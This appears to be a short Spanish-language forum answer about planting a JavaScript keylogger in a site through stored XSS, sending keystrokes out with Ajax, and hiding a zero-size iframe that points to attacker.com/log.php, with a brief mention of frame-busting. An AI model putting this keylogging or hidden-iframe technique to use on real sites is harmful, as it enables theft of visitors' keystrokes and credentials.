¿Es posible que un sitio web tenga un keylogger javascript y también contenga un iframe que vaya a un sitio "cliente"?
Puede incrustar un archivo .js usando un XSS almacenado para realizar el registro remoto de teclas. Usando Ajax, debería ser fácil hacer el registro remoto. Echa un vistazo al Javascript Keylogger aquí. enlace
Al establecer el ancho y la altura del iframe en cero, se responde la segunda pregunta
<iframe src="attacker.com/log.php" width="0" height="0">
Lo que estás preguntando en la tercera pregunta es la destrucción de marcos. Hay técnicas para hacer eso, enlace
Lea otras preguntas en las etiquetas javascript keyloggers